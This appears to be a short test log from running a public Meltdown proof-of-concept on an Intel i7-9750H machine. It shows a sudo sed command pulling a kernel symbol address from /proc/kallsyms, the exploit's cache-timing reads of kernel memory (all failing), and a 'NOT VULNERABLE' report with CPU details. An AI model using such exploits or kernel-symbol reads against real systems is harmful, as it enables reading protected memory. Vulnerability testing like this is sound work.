meltdown-exploit
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i7-9750H
looking for linux_proc_banner in /proc/kallsyms protected. requires root
- find_linux_proc_banner /proc/kallsyms sudo
- sudo sed -n -re s/^([0-9a-f][1-9a-f][0-9a-f]) .* linux_proc_banner$/\1/p /proc/kallsyms
- linux_proc_banner=ffffffffab600060
- set +x cached = 23, uncached = 229, threshold 72 read ffffffffab600060 = ff (score=0/1000) read ffffffffab600061 = ff (score=0/1000) read ffffffffab600062 = ff (score=0/1000) read ffffffffab600063 = ff (score=0/1000) read ffffffffab600064 = ff (score=0/1000) read ffffffffab600065 = ff (score=0/1000) read ffffffffab600066 = ff (score=0/1000) read ffffffffab600067 = ff (score=0/1000) read ffffffffab600068 = ff (score=0/1000) read ffffffffab600069 = ff (score=0/1000) read ffffffffab60006a = ff (score=0/1000) read ffffffffab60006b = ff (score=0/1000) read ffffffffab60006c = ff (score=0/1000) read ffffffffab60006d = ff (score=0/1000) read ffffffffab60006e = ff (score=0/1000) read ffffffffab60006f = ff (score=0/1000) NOT VULNERABLE PLEASE POST THIS TO https://github.com/paboldin/meltdown-exploit/issues/22 NOT VULNERABLE ON 4.15.0-45-generic #48~16.04.1-Ubuntu SMP Tue Jan 29 18:03:48 UTC 2019 x86_64 processor : 0 vendor_id : GenuineIntel cpu family : 6 model : 158 model name : Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz stepping : 10 microcode : 0xde cpu MHz : 2592.004 cache size : 12288 KB physical id : 0